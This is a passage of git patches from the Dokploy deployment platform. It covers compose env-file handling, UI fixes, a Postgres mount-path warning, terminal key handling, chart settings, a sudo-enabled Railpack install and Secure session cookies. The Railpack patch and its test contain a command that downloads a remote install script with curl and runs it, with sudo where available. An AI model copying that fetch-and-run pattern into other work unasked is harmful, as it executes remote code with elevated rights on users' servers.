+ createEnvFile: boolean("createEnvFile").notNull().default(true),
enableSubmodules: boolean("enableSubmodules").notNull().default(false),
composePath: text("composePath").notNull().default("./docker-compose.yml"),
suffix: text("suffix").notNull().default(""),
@@ -183,6 +184,7 @@ const createSchema = createInsertSchema(compose, {
environmentId: z.string(),
customGitSSHKeyId: z.string().optional(),
command: z.string().optional(),
+ createEnvFile: z.boolean().optional(),
composePath: z.string().min(1),
composeType: z.enum(["docker-compose", "stack"]).optional(),
watchPaths: z.array(z.string()).optional(),
@@ -266,7 +268,10 @@ export const apiSaveEnvironmentVariablesCompose = createSchema
composeId: true,
env: true,
})
- .required();
+ .required()
+ .extend({
+ createEnvFile: z.boolean().optional(),
+ });
export const apiRandomizeCompose = createSchema
.pick({
diff --git a/packages/server/src/utils/builders/compose.ts b/packages/server/src/utils/builders/compose.ts
index 77cfc91db..7524d7a5e 100644
--- a/packages/server/src/utils/builders/compose.ts
+++ b/packages/server/src/utils/builders/compose.ts
@@ -19,7 +19,9 @@ export const getBuildComposeCommand = async (compose: ComposeNested) => {
const { COMPOSE_PATH } = paths(!!compose.serverId);
const { sourceType, appName, mounts, composeType, domains } = compose;
const command = createCommand(compose);
- const envCommand = getCreateEnvFileCommand(compose);
+ const envCommand = compose.createEnvFile
+ ? getCreateEnvFileCommand(compose)
+ : "";
const projectPath = join(COMPOSE_PATH, compose.appName, "code");
const exportEnvCommand = getExportEnvCommand(compose);
From be71866c9657f319cea27f841c5f442829a30662 Mon Sep 17 00:00:00 2001
From: "autofix-ci[bot]" <114827586+autofix-ci[bot]@users.noreply.github.com>
Date: Fri, 7 Aug 2026 21:30:05 +0000
Subject: [PATCH 101/419] [autofix.ci] apply automated fixes
---
.../dashboard/application/environment/show-environment.tsx | 5 +++--
apps/dokploy/server/utils/docker.ts | 7 ++++---
2 files changed, 7 insertions(+), 5 deletions(-)
diff --git a/apps/dokploy/components/dashboard/application/environment/show-environment.tsx b/apps/dokploy/components/dashboard/application/environment/show-environment.tsx
index 25195c837..873fbd1e6 100644
--- a/apps/dokploy/components/dashboard/application/environment/show-environment.tsx
+++ b/apps/dokploy/components/dashboard/application/environment/show-environment.tsx
@@ -223,8 +223,9 @@ PORT=3000
When enabled, an .env file will be created in the same
directory as your compose file on every deploy.
- Disable this if you don't want to generate an
- environment file.
+ Disable this to keep a repository-provided .env; the
+ variables above will then be ignored. Takes effect on
+ the next deploy.
diff --git a/apps/dokploy/server/utils/docker.ts b/apps/dokploy/server/utils/docker.ts
index 084315241..d116a45f9 100644
--- a/apps/dokploy/server/utils/docker.ts
+++ b/apps/dokploy/server/utils/docker.ts
@@ -24,9 +24,10 @@ export const isDockerDesktop = async () => {
/** Returns the Docker host IP address. */
export const getDockerHost = async (): Promise => {
if (process.env.NODE_ENV === "production") {
- const isLinux = process.platform === "linux"
- ? (await Promise.all([isWSL(), isDockerDesktop()])).every((v) => !v)
- : false;
+ const isLinux =
+ process.platform === "linux"
+ ? (await Promise.all([isWSL(), isDockerDesktop()])).every((v) => !v)
+ : false;
if (isLinux) {
try {
From 6204415dc54631e38a22826da7c9171f8ac6aad5 Mon Sep 17 00:00:00 2001
From: Shivam Gupta <9.shivamgupta.6@gmail.com>
Date: Sun, 9 Aug 2026 01:01:41 +0530
Subject: [PATCH 102/419] fix: honour metaName for page titles and show a
loading state in requests
Two cases where the UI silently did nothing:
- DashboardLayout declared a `metaName` prop and 18 settings pages pass
it, but the component only destructured `children`, so the value was
discarded. None of those pages render their own either, so every
settings page fell back to the default title from _app. The layout now
renders a , using the whitelabeling app name so the suffix is
correct on rebranded instances.
- The requests table's fallback cell only rendered its message when
`statsLogs?.data.length === 0`. While the query is in flight statsLogs
is undefined, so that guard is false and the cell rendered nothing at
all -- a blank panel, indistinguishable from a broken page. The query's
isLoading flag wasn't even destructured. It now shows a spinner, matching
the queue and deployments tables.
---
.../dashboard/requests/requests-table.tsx | 10 ++++++++--
.../dokploy/components/layouts/dashboard-layout.tsx | 13 ++++++++++++-
2 files changed, 20 insertions(+), 3 deletions(-)
diff --git a/apps/dokploy/components/dashboard/requests/requests-table.tsx b/apps/dokploy/components/dashboard/requests/requests-table.tsx
index 802b60e46..63f674e6c 100644
--- a/apps/dokploy/components/dashboard/requests/requests-table.tsx
+++ b/apps/dokploy/components/dashboard/requests/requests-table.tsx
@@ -17,6 +17,7 @@ import {
Download,
Globe,
InfoIcon,
+ Loader2,
Server,
TrendingUpIcon,
} from "lucide-react";
@@ -100,7 +101,7 @@ export const RequestsTable = ({ dateRange }: RequestsTableProps) => {
pageSize: 10,
});
- const { data: statsLogs } = api.settings.readStatsLogs.useQuery(
+ const { data: statsLogs, isLoading } = api.settings.readStatsLogs.useQuery(
{
sort: sorting[0],
page: pagination,
@@ -273,7 +274,12 @@ export const RequestsTable = ({ dateRange }: RequestsTableProps) => {
colSpan={columns.length}
className="h-24 text-center"
>
- {statsLogs?.data.length === 0 && (
+ {isLoading ? (
+
+
+ Loading requests...
+
+ ) : (
No results.
diff --git a/apps/dokploy/components/layouts/dashboard-layout.tsx b/apps/dokploy/components/layouts/dashboard-layout.tsx
index 222f69b9e..77a63765b 100644
--- a/apps/dokploy/components/layouts/dashboard-layout.tsx
+++ b/apps/dokploy/components/layouts/dashboard-layout.tsx
@@ -1,4 +1,6 @@
+import Head from "next/head";
import { api } from "@/utils/api";
+import { useWhitelabeling } from "@/utils/hooks/use-whitelabeling";
import { ImpersonationBar } from "../dashboard/impersonation/impersonation-bar";
import { HubSpotWidget } from "../shared/HubSpotWidget";
import Page from "./side";
@@ -8,9 +10,11 @@ interface Props {
metaName?: string;
}
-export const DashboardLayout = ({ children }: Props) => {
+export const DashboardLayout = ({ children, metaName }: Props) => {
const { data: haveRootAccess } = api.user.haveRootAccess.useQuery();
const { data: isCloud } = api.settings.isCloud.useQuery();
+ const { config: whitelabeling } = useWhitelabeling();
+ const appName = whitelabeling?.appName || "Dokploy";
const { data: currentPlan } = api.stripe.getCurrentPlan.useQuery(undefined, {
enabled: isCloud === true,
refetchOnWindowFocus: false,
@@ -22,6 +26,13 @@ export const DashboardLayout = ({ children }: Props) => {
return (
<>
+ {metaName && (
+
+
+ {metaName} | {appName}
+
+
+ )}
{children}
{isChatEnabled && (
<>
From c0694eb5b2e32280c2b4709a800b273042941c0f Mon Sep 17 00:00:00 2001
From: Mauricio Siu
Date: Sat, 8 Aug 2026 23:36:48 -0600
Subject: [PATCH 103/419] fix: improve mount path warning for PostgreSQL by
handling multiple data mounts
---
.../postgres/advanced/show-custom-command.tsx | 17 +++++++++++------
1 file changed, 11 insertions(+), 6 deletions(-)
diff --git a/apps/dokploy/components/dashboard/postgres/advanced/show-custom-command.tsx b/apps/dokploy/components/dashboard/postgres/advanced/show-custom-command.tsx
index 5a1a7753d..4023230f8 100644
--- a/apps/dokploy/components/dashboard/postgres/advanced/show-custom-command.tsx
+++ b/apps/dokploy/components/dashboard/postgres/advanced/show-custom-command.tsx
@@ -109,16 +109,21 @@ export const ShowCustomCommand = ({ id, type }: Props) => {
const mountPathWarning = (() => {
if (type !== "postgres" || !dockerImage) return null;
- const mounts = (data as any)?.mounts ?? [];
- const dataMount = mounts.find(
- (mount: { type: string; mountPath: string }) =>
+ const mounts = data && "mounts" in data ? data.mounts : [];
+ const dataMounts = mounts.filter(
+ (mount) =>
mount.type === "volume" &&
POSTGRES_DATA_PATH_REGEX.test(mount.mountPath),
);
- if (!dataMount) return null;
+ if (dataMounts.length === 0) return null;
const expectedPath = getPostgresMountPath(dockerImage);
- if (expectedPath === dataMount.mountPath) return null;
- return { expectedPath, currentPath: dataMount.mountPath };
+ if (dataMounts.some((mount) => mount.mountPath === expectedPath)) {
+ return null;
+ }
+ return {
+ expectedPath,
+ currentPath: dataMounts.map((mount) => mount.mountPath).join(", "),
+ };
})();
const onSubmit = async (formData: AddDockerImage) => {
From b1795e1d3cf73fe28508cde6016a208be93103fd Mon Sep 17 00:00:00 2001
From: Mauricio Siu <47042324+Siumauricio@users.noreply.github.com>
Date: Sat, 8 Aug 2026 23:37:07 -0600
Subject: [PATCH 104/419] Merge pull request #5005 from
Dokploy/fix/postgres-image-mountpath-warning
fix: warn on postgres image change when the implied data directory mismatches the mounted volume
(cherry picked from commit f08c53c9b74279ab0df9ed3410981d6c708dd5f5)
[skip ci]
---
.../postgres/advanced/show-custom-command.tsx | 47 +++++++++++++++++++
1 file changed, 47 insertions(+)
diff --git a/apps/dokploy/components/dashboard/postgres/advanced/show-custom-command.tsx b/apps/dokploy/components/dashboard/postgres/advanced/show-custom-command.tsx
index 07e059ce8..4023230f8 100644
--- a/apps/dokploy/components/dashboard/postgres/advanced/show-custom-command.tsx
+++ b/apps/dokploy/components/dashboard/postgres/advanced/show-custom-command.tsx
@@ -4,6 +4,7 @@ import { useEffect } from "react";
import { useFieldArray, useForm } from "react-hook-form";
import { toast } from "sonner";
import { z } from "zod";
+import { AlertBlock } from "@/components/shared/alert-block";
import { Button } from "@/components/ui/button";
import { Card, CardContent, CardHeader, CardTitle } from "@/components/ui/card";
import {
@@ -18,6 +19,19 @@ import { Input } from "@/components/ui/input";
import { api } from "@/utils/api";
import type { ServiceType } from "../../application/advanced/show-resources";
+const getPostgresMountPath = (dockerImage: string): string => {
+ const versionMatch = dockerImage.match(/postgres:(\d+)/);
+ if (versionMatch?.[1]) {
+ const version = Number.parseInt(versionMatch[1], 10);
+ if (version >= 18) {
+ return `/var/lib/postgresql/${version}/docker`;
+ }
+ }
+ return "/var/lib/postgresql/data";
+};
+
+const POSTGRES_DATA_PATH_REGEX = /^\/var\/lib\/postgresql(\/|$)/;
+
const addDockerImage = z.object({
dockerImage: z.string().min(1, "Docker image is required"),
command: z.string(),
@@ -91,6 +105,27 @@ export const ShowCustomCommand = ({ id, type }: Props) => {
}
}, [data, form]);
+ const dockerImage = form.watch("dockerImage");
+
+ const mountPathWarning = (() => {
+ if (type !== "postgres" || !dockerImage) return null;
+ const mounts = data && "mounts" in data ? data.mounts : [];
+ const dataMounts = mounts.filter(
+ (mount) =>
+ mount.type === "volume" &&
+ POSTGRES_DATA_PATH_REGEX.test(mount.mountPath),
+ );
+ if (dataMounts.length === 0) return null;
+ const expectedPath = getPostgresMountPath(dockerImage);
+ if (dataMounts.some((mount) => mount.mountPath === expectedPath)) {
+ return null;
+ }
+ return {
+ expectedPath,
+ currentPath: dataMounts.map((mount) => mount.mountPath).join(", "),
+ };
+ })();
+
const onSubmit = async (formData: AddDockerImage) => {
await mutateAsync({
mongoId: id || "",
@@ -139,6 +174,18 @@ export const ShowCustomCommand = ({ id, type }: Props) => {
)}
/>
+ {mountPathWarning && (
+
+ This image expects its data directory under{" "}
+ {mountPathWarning.expectedPath}, but the
+ volume of this database is mounted at{" "}
+ {mountPathWarning.currentPath}. Changing the
+ image does not migrate existing data — Postgres may
+ crash-loop or start with an empty database. Adjust the
+ volume mount path in the Volumes section or keep a
+ compatible image before saving.
+
+ )}
Date: Sun, 9 Aug 2026 01:29:42 -0600
Subject: [PATCH 105/419] fix: allow Option/Alt composed characters in
terminals on macOS
---
.../docker/terminal/docker-terminal.tsx | 2 ++
.../settings/web-server/terminal.tsx | 2 ++
apps/dokploy/lib/terminal-keyboard.ts | 25 +++++++++++++++++++
3 files changed, 29 insertions(+)
create mode 100644 apps/dokploy/lib/terminal-keyboard.ts
diff --git a/apps/dokploy/components/dashboard/docker/terminal/docker-terminal.tsx b/apps/dokploy/components/dashboard/docker/terminal/docker-terminal.tsx
index b4f5e845d..d185e65b1 100644
--- a/apps/dokploy/components/dashboard/docker/terminal/docker-terminal.tsx
+++ b/apps/dokploy/components/dashboard/docker/terminal/docker-terminal.tsx
@@ -5,6 +5,7 @@ import "@xterm/xterm/css/xterm.css";
import { AttachAddon } from "@xterm/addon-attach";
import { useTheme } from "next-themes";
import { Tabs, TabsList, TabsTrigger } from "@/components/ui/tabs";
+import { fixMacOsAltKeys } from "@/lib/terminal-keyboard";
interface Props {
id: string;
@@ -45,6 +46,7 @@ export const DockerTerminal: React.FC = ({
const ws = new WebSocket(wsUrl);
const addonAttach = new AttachAddon(ws);
+ fixMacOsAltKeys(term);
// @ts-ignore
term.open(termRef.current);
// @ts-ignore
diff --git a/apps/dokploy/components/dashboard/settings/web-server/terminal.tsx b/apps/dokploy/components/dashboard/settings/web-server/terminal.tsx
index dccdec003..ceb09b2e7 100644
--- a/apps/dokploy/components/dashboard/settings/web-server/terminal.tsx
+++ b/apps/dokploy/components/dashboard/settings/web-server/terminal.tsx
@@ -6,6 +6,7 @@ import "@xterm/xterm/css/xterm.css";
import { AttachAddon } from "@xterm/addon-attach";
import { ClipboardAddon } from "@xterm/addon-clipboard";
import { useTheme } from "next-themes";
+import { fixMacOsAltKeys } from "@/lib/terminal-keyboard";
import { getLocalServerData } from "./local-server-config";
interface Props {
@@ -58,6 +59,7 @@ export const Terminal: React.FC = ({ id, serverId }) => {
const addonAttach = new AttachAddon(ws);
const clipboardAddon = new ClipboardAddon();
term.loadAddon(clipboardAddon);
+ fixMacOsAltKeys(term);
// @ts-ignore
term.open(termRef.current);
diff --git a/apps/dokploy/lib/terminal-keyboard.ts b/apps/dokploy/lib/terminal-keyboard.ts
new file mode 100644
index 000000000..534ea9814
--- /dev/null
+++ b/apps/dokploy/lib/terminal-keyboard.ts
@@ -0,0 +1,25 @@
+import type { Terminal } from "@xterm/xterm";
+
+// xterm's platform detection mistakes the bundled Next.js `process` polyfill
+// for Node.js, so it never treats Option/Alt as third-level shift on macOS and
+// swallows composed characters like Option+L (@ on German layouts).
+// https://github.com/Dokploy/dokploy/issues/4297
+export const fixMacOsAltKeys = (term: Terminal) => {
+ if (!/Mac/.test(navigator.platform)) {
+ return;
+ }
+ term.attachCustomKeyEventHandler((event) => {
+ if (
+ event.type === "keydown" &&
+ event.altKey &&
+ !event.ctrlKey &&
+ !event.metaKey &&
+ event.key.length === 1
+ ) {
+ event.preventDefault();
+ term.input(event.key);
+ return false;
+ }
+ return true;
+ });
+};
From bc935ae3adc77010ba3428bc41a574d9e383a884 Mon Sep 17 00:00:00 2001
From: Mauricio Siu
Date: Sun, 9 Aug 2026 02:06:23 -0600
Subject: [PATCH 106/419] fix: apply compose file patches in preview and domain
injection
---
packages/server/src/utils/docker/domain.ts | 38 ++++++++++++++++++++--
1 file changed, 36 insertions(+), 2 deletions(-)
diff --git a/packages/server/src/utils/docker/domain.ts b/packages/server/src/utils/docker/domain.ts
index 2204a71f9..c295e7505 100644
--- a/packages/server/src/utils/docker/domain.ts
+++ b/packages/server/src/utils/docker/domain.ts
@@ -2,10 +2,10 @@ import fs, { existsSync, readFileSync } from "node:fs";
import { join } from "node:path";
import { paths } from "@dokploy/server/constants";
import { db } from "@dokploy/server/db";
-import { network } from "@dokploy/server/db/schema";
+import { network, patch } from "@dokploy/server/db/schema";
import type { Compose } from "@dokploy/server/services/compose";
import type { Domain } from "@dokploy/server/services/domain";
-import { inArray } from "drizzle-orm";
+import { eq, inArray } from "drizzle-orm";
import { parse, stringify } from "yaml";
import { execAsyncRemote } from "../process/execAsync";
import { cloneBitbucketRepository } from "../providers/bitbucket";
@@ -134,6 +134,38 @@ exit 1;
`;
}
};
+export const applyComposeFilePatch = async (
+ compose: Compose,
+): Promise => {
+ if (compose.sourceType === "raw") {
+ return null;
+ }
+
+ const composePatches = await db.query.patch.findMany({
+ where: eq(patch.composeId, compose.composeId),
+ });
+
+ const composeFilePatch = composePatches.find(
+ (p) =>
+ p.enabled &&
+ p.type !== "delete" &&
+ join(p.filePath) === join(compose.composePath),
+ );
+
+ if (!composeFilePatch?.content) {
+ return null;
+ }
+
+ try {
+ const parsed = parse(composeFilePatch.content, {
+ maxAliasCount: 10000,
+ }) as ComposeSpecification;
+ return parsed ?? null;
+ } catch {
+ return null;
+ }
+};
+
export const addDomainToCompose = async (
compose: Compose,
domains: Domain[],
@@ -152,6 +184,8 @@ export const addDomainToCompose = async (
return null;
}
+ result = (await applyComposeFilePatch(compose)) ?? result;
+
if (compose.isolatedDeployment) {
const randomized = randomizeDeployableSpecificationFile(
result,
From bd7fb8f23c4d8229d909e90f4b3b962cbc764e8b Mon Sep 17 00:00:00 2001
From: Mauricio Siu
Date: Sun, 9 Aug 2026 02:33:47 -0600
Subject: [PATCH 107/419] fix: disable recharts animation on monitoring charts
---
.../dashboard/monitoring/free/container/docker-block-chart.tsx | 2 ++
.../dashboard/monitoring/free/container/docker-cpu-chart.tsx | 1 +
.../dashboard/monitoring/free/container/docker-disk-chart.tsx | 1 +
.../dashboard/monitoring/free/container/docker-memory-chart.tsx | 1 +
.../monitoring/free/container/docker-network-chart.tsx | 2 ++
.../monitoring/paid/container/container-block-chart.tsx | 2 ++
.../dashboard/monitoring/paid/container/container-cpu-chart.tsx | 1 +
.../monitoring/paid/container/container-memory-chart.tsx | 1 +
.../monitoring/paid/container/container-network-chart.tsx | 2 ++
.../components/dashboard/monitoring/paid/servers/cpu-chart.tsx | 1 +
.../dashboard/monitoring/paid/servers/memory-chart.tsx | 1 +
.../dashboard/monitoring/paid/servers/network-chart.tsx | 2 ++
.../dashboard/requests/request-distribution-chart.tsx | 1 +
13 files changed, 18 insertions(+)
diff --git a/apps/dokploy/components/dashboard/monitoring/free/container/docker-block-chart.tsx b/apps/dokploy/components/dashboard/monitoring/free/container/docker-block-chart.tsx
index 01989753a..15c68b6b9 100644
--- a/apps/dokploy/components/dashboard/monitoring/free/container/docker-block-chart.tsx
+++ b/apps/dokploy/components/dashboard/monitoring/free/container/docker-block-chart.tsx
@@ -85,6 +85,7 @@ export const DockerBlockChart = ({ accumulativeData }: Props) => {
/>
{
/>
{
/>
{
/>
{
/>
{
/>
{
name="Write"
dataKey="write"
type="monotone"
+ isAnimationActive={false}
fill="url(#fillWrite)"
stroke="hsl(142, 71%, 45%)"
strokeWidth={2}
@@ -163,6 +164,7 @@ export const ContainerBlockChart = ({ data }: Props) => {
name="Read"
dataKey="read"
type="monotone"
+ isAnimationActive={false}
fill="url(#fillRead)"
stroke="hsl(217, 91%, 60%)"
strokeWidth={2}
diff --git a/apps/dokploy/components/dashboard/monitoring/paid/container/container-cpu-chart.tsx b/apps/dokploy/components/dashboard/monitoring/paid/container/container-cpu-chart.tsx
index 5a4996ba2..e4c96df2e 100644
--- a/apps/dokploy/components/dashboard/monitoring/paid/container/container-cpu-chart.tsx
+++ b/apps/dokploy/components/dashboard/monitoring/paid/container/container-cpu-chart.tsx
@@ -111,6 +111,7 @@ export const ContainerCPUChart = ({ data }: Props) => {
name="CPU"
dataKey="cpu"
type="monotone"
+ isAnimationActive={false}
fill="url(#fillCPU)"
stroke="hsl(var(--chart-1))"
strokeWidth={2}
diff --git a/apps/dokploy/components/dashboard/monitoring/paid/container/container-memory-chart.tsx b/apps/dokploy/components/dashboard/monitoring/paid/container/container-memory-chart.tsx
index 23d934c06..22a9e4ac7 100644
--- a/apps/dokploy/components/dashboard/monitoring/paid/container/container-memory-chart.tsx
+++ b/apps/dokploy/components/dashboard/monitoring/paid/container/container-memory-chart.tsx
@@ -132,6 +132,7 @@ export const ContainerMemoryChart = ({ data }: Props) => {
name="Memory"
dataKey="memory"
type="monotone"
+ isAnimationActive={false}
fill="url(#fillMemory)"
stroke="hsl(var(--chart-2))"
strokeWidth={2}
diff --git a/apps/dokploy/components/dashboard/monitoring/paid/container/container-network-chart.tsx b/apps/dokploy/components/dashboard/monitoring/paid/container/container-network-chart.tsx
index f9f033b36..de869614d 100644
--- a/apps/dokploy/components/dashboard/monitoring/paid/container/container-network-chart.tsx
+++ b/apps/dokploy/components/dashboard/monitoring/paid/container/container-network-chart.tsx
@@ -161,6 +161,7 @@ export const ContainerNetworkChart = ({ data }: Props) => {
name="Input"
dataKey="input"
type="monotone"
+ isAnimationActive={false}
fill="url(#fillInput)"
stroke="hsl(var(--chart-3))"
strokeWidth={2}
@@ -169,6 +170,7 @@ export const ContainerNetworkChart = ({ data }: Props) => {
name="Output"
dataKey="output"
type="monotone"
+ isAnimationActive={false}
fill="url(#fillOutput)"
stroke="hsl(var(--chart-4))"
strokeWidth={2}
diff --git a/apps/dokploy/components/dashboard/monitoring/paid/servers/cpu-chart.tsx b/apps/dokploy/components/dashboard/monitoring/paid/servers/cpu-chart.tsx
index 2ac560ce6..4d29c56b9 100644
--- a/apps/dokploy/components/dashboard/monitoring/paid/servers/cpu-chart.tsx
+++ b/apps/dokploy/components/dashboard/monitoring/paid/servers/cpu-chart.tsx
@@ -98,6 +98,7 @@ export function CPUChart({ data }: CPUChartProps) {
name="CPU"
dataKey="cpu"
type="monotone"
+ isAnimationActive={false}
fill="url(#fillCPU)"
stroke="hsl(var(--chart-1))"
strokeWidth={2}
diff --git a/apps/dokploy/components/dashboard/monitoring/paid/servers/memory-chart.tsx b/apps/dokploy/components/dashboard/monitoring/paid/servers/memory-chart.tsx
index b54208652..920ae9a2d 100644
--- a/apps/dokploy/components/dashboard/monitoring/paid/servers/memory-chart.tsx
+++ b/apps/dokploy/components/dashboard/monitoring/paid/servers/memory-chart.tsx
@@ -115,6 +115,7 @@ export function MemoryChart({ data }: MemoryChartProps) {
yAxisId="left"
dataKey="memUsed"
type="monotone"
+ isAnimationActive={false}
fill="url(#fillMemory)"
stroke="hsl(var(--chart-2))"
strokeWidth={2}
diff --git a/apps/dokploy/components/dashboard/monitoring/paid/servers/network-chart.tsx b/apps/dokploy/components/dashboard/monitoring/paid/servers/network-chart.tsx
index 11eec853b..249df308b 100644
--- a/apps/dokploy/components/dashboard/monitoring/paid/servers/network-chart.tsx
+++ b/apps/dokploy/components/dashboard/monitoring/paid/servers/network-chart.tsx
@@ -120,6 +120,7 @@ export function NetworkChart({ data }: NetworkChartProps) {
name="Network In"
dataKey="networkIn"
type="monotone"
+ isAnimationActive={false}
fill="url(#fillNetworkIn)"
stroke="hsl(var(--chart-3))"
strokeWidth={2}
@@ -128,6 +129,7 @@ export function NetworkChart({ data }: NetworkChartProps) {
name="Network Out"
dataKey="networkOut"
type="monotone"
+ isAnimationActive={false}
fill="url(#fillNetworkOut)"
stroke="hsl(var(--chart-4))"
strokeWidth={2}
diff --git a/apps/dokploy/components/dashboard/requests/request-distribution-chart.tsx b/apps/dokploy/components/dashboard/requests/request-distribution-chart.tsx
index d9bc17973..cd6a97f5c 100644
--- a/apps/dokploy/components/dashboard/requests/request-distribution-chart.tsx
+++ b/apps/dokploy/components/dashboard/requests/request-distribution-chart.tsx
@@ -91,6 +91,7 @@ export const RequestDistributionChart = ({
Date: Sun, 9 Aug 2026 19:46:59 +0530
Subject: [PATCH 108/419] fix: run Railpack install with sudo during remote
deploy
Deploy-time Railpack install ran without sudo, so deploys to a remote
server with a non-root user (passwordless sudo) failed because the
install script could not write to /usr/local/bin ("A terminal is
required to authenticate").
Detect whether sudo is needed (root vs. passwordless-sudo user) and run
the install through it, matching the server-setup script.
Fixes #5007
---
apps/dokploy/__test__/deploy/railpack.command.test.ts | 9 +++++++++
packages/server/src/utils/builders/railpack.ts | 10 +++++++++-
2 files changed, 18 insertions(+), 1 deletion(-)
diff --git a/apps/dokploy/__test__/deploy/railpack.command.test.ts b/apps/dokploy/__test__/deploy/railpack.command.test.ts
index 94c95c950..13345ac0f 100644
--- a/apps/dokploy/__test__/deploy/railpack.command.test.ts
+++ b/apps/dokploy/__test__/deploy/railpack.command.test.ts
@@ -50,6 +50,15 @@ describe("getRailpackCommand", () => {
expect(command).toContain("--build-arg cache-key=");
});
+ it("installs Railpack through sudo for non-root users", () => {
+ const command = getRailpackCommand(createApplication());
+
+ expect(command).toContain(
+ '$SUDO_CMD bash -c "$(curl -fsSL https://railpack.com/install.sh)"',
+ );
+ expect(command).toContain("sudo -n true 2>/dev/null");
+ });
+
it("changes secrets-hash when an environment value changes", () => {
const firstCommand = getRailpackCommand(
createApplication({
diff --git a/packages/server/src/utils/builders/railpack.ts b/packages/server/src/utils/builders/railpack.ts
index b393f4460..49585bbe2 100644
--- a/packages/server/src/utils/builders/railpack.ts
+++ b/packages/server/src/utils/builders/railpack.ts
@@ -87,7 +87,15 @@ export const getRailpackCommand = (application: ApplicationNested) => {
# Ensure we have a builder with containerd (isolated per build)
export RAILPACK_VERSION=${application.railpackVersion}
-bash -c "$(curl -fsSL https://railpack.com/install.sh)"
+# use sudo for non-root so the install can write to /usr/local/bin
+if [ "$(id -u)" -eq 0 ]; then
+ SUDO_CMD=""
+elif sudo -n true 2>/dev/null; then
+ SUDO_CMD="sudo"
+else
+ SUDO_CMD=""
+fi
+$SUDO_CMD bash -c "$(curl -fsSL https://railpack.com/install.sh)"
docker buildx create --name ${builderName} --driver docker-container || true
echo "Preparing Railpack build plan..." ;
From f5c21db1ef47b47f0a1bf3180eaed60373f13c4b Mon Sep 17 00:00:00 2001
From: Souvik Kumar
Date: Sun, 9 Aug 2026 21:05:37 +0530
Subject: [PATCH 109/419] fix: mark session cookie as Secure when served over
HTTPS
Self-hosted better-auth is configured with secure cookies off so plain
HTTP access (http://:3000) keeps working, but that also meant the
session cookie never got the Secure attribute even behind HTTPS. A cookie
without Secure can be replayed over plain HTTP.
Add Secure to the auth response cookies per request when X-Forwarded-Proto
is https (what Traefik sends on TLS), leaving plain-HTTP requests untouched.
Fixes #4709
---
.../__test__/lib/secure-cookies.test.ts | 46 +++++++++++++++++++
apps/dokploy/lib/secure-cookies.ts | 25 ++++++++++
apps/dokploy/pages/api/auth/[...all].ts | 25 +++++++++-
3 files changed, 95 insertions(+), 1 deletion(-)
create mode 100644 apps/dokploy/__test__/lib/secure-cookies.test.ts
create mode 100644 apps/dokploy/lib/secure-cookies.ts
diff --git a/apps/dokploy/__test__/lib/secure-cookies.test.ts b/apps/dokploy/__test__/lib/secure-cookies.test.ts
new file mode 100644
index 000000000..c47633b4a
--- /dev/null
+++ b/apps/dokploy/__test__/lib/secure-cookies.test.ts
@@ -0,0 +1,46 @@
+import { describe, expect, it } from "vitest";
+import { isHttpsRequest, secureSetCookie } from "@/lib/secure-cookies";
+
+describe("isHttpsRequest", () => {
+ it("returns true when X-Forwarded-Proto is https", () => {
+ expect(isHttpsRequest("https")).toBe(true);
+ });
+
+ it("returns false for http or a missing header", () => {
+ expect(isHttpsRequest("http")).toBe(false);
+ expect(isHttpsRequest(undefined)).toBe(false);
+ });
+
+ it("uses the left-most value of a proxy chain", () => {
+ expect(isHttpsRequest("https, http")).toBe(true);
+ expect(isHttpsRequest("http, https")).toBe(false);
+ });
+
+ it("handles an array header value and is case-insensitive", () => {
+ expect(isHttpsRequest(["HTTPS", "http"])).toBe(true);
+ });
+});
+
+describe("secureSetCookie", () => {
+ it("adds Secure to a cookie that lacks it", () => {
+ expect(
+ secureSetCookie("better-auth.session_token=abc; Path=/; HttpOnly"),
+ ).toBe("better-auth.session_token=abc; Path=/; HttpOnly; Secure");
+ });
+
+ it("does not duplicate Secure when already present", () => {
+ const cookie = "better-auth.session_token=abc; Path=/; Secure; HttpOnly";
+ expect(secureSetCookie(cookie)).toBe(cookie);
+ });
+
+ it("applies to every cookie in an array", () => {
+ expect(secureSetCookie(["a=1; Path=/", "b=2; Path=/; Secure"])).toEqual([
+ "a=1; Path=/; Secure",
+ "b=2; Path=/; Secure",
+ ]);
+ });
+
+ it("passes a numeric header value through untouched", () => {
+ expect(secureSetCookie(123)).toBe(123);
+ });
+});
diff --git a/apps/dokploy/lib/secure-cookies.ts b/apps/dokploy/lib/secure-cookies.ts
new file mode 100644
index 000000000..ab11b52ce
--- /dev/null
+++ b/apps/dokploy/lib/secure-cookies.ts
@@ -0,0 +1,25 @@
+export const isHttpsRequest = (
+ forwardedProto: string | string[] | undefined,
+): boolean => {
+ if (!forwardedProto) return false;
+ const value = Array.isArray(forwardedProto)
+ ? forwardedProto[0]
+ : forwardedProto;
+ // take the first value in case a proxy chain sent a list
+ return value?.split(",")[0]?.trim().toLowerCase() === "https";
+};
+
+const hasSecureAttribute = (cookie: string): boolean =>
+ /;\s*secure(?:\s*;|\s*$)/i.test(cookie);
+
+const withSecure = (cookie: string): string =>
+ hasSecureAttribute(cookie) ? cookie : `${cookie}; Secure`;
+
+// Add Secure to a Set-Cookie header value (string or string[]).
+export const secureSetCookie = (
+ value: string | number | readonly string[],
+): string | number | string[] => {
+ if (typeof value === "number") return value;
+ if (Array.isArray(value)) return value.map(withSecure);
+ return withSecure(value as string);
+};
diff --git a/apps/dokploy/pages/api/auth/[...all].ts b/apps/dokploy/pages/api/auth/[...all].ts
index 48aa03706..7edbb9847 100644
--- a/apps/dokploy/pages/api/auth/[...all].ts
+++ b/apps/dokploy/pages/api/auth/[...all].ts
@@ -1,7 +1,30 @@
+import type { IncomingMessage, ServerResponse } from "node:http";
import { auth } from "@dokploy/server/index";
import { toNodeHandler } from "better-auth/node";
+import { isHttpsRequest, secureSetCookie } from "@/lib/secure-cookies";
// Disallow body parsing, we will parse it manually
export const config = { api: { bodyParser: false } };
-export default toNodeHandler(auth.handler);
+const handler = toNodeHandler(auth.handler);
+
+// Mark the session cookie as Secure when the request comes over HTTPS
+export default function authHandler(req: IncomingMessage, res: ServerResponse) {
+ if (isHttpsRequest(req.headers["x-forwarded-proto"])) {
+ const setHeader = res.setHeader.bind(res);
+ res.setHeader = (name, value) =>
+ String(name).toLowerCase() === "set-cookie"
+ ? setHeader(name, secureSetCookie(value))
+ : setHeader(name, value);
+
+ const appendHeader = res.appendHeader?.bind(res);
+ if (appendHeader) {
+ res.appendHeader = (name, value) =>
+ String(name).toLowerCase() === "set-cookie"
+ ? appendHeader(name, secureSetCookie(value) as string | string[])
+ : appendHeader(name, value);
+ }
+ }
+
+ return handler(req, res);
+}
From 1f73ebd0b0f89e827e3294d044a46ac7a29c7539 Mon Sep 17 00:00:00 2001
From: Mauricio Siu
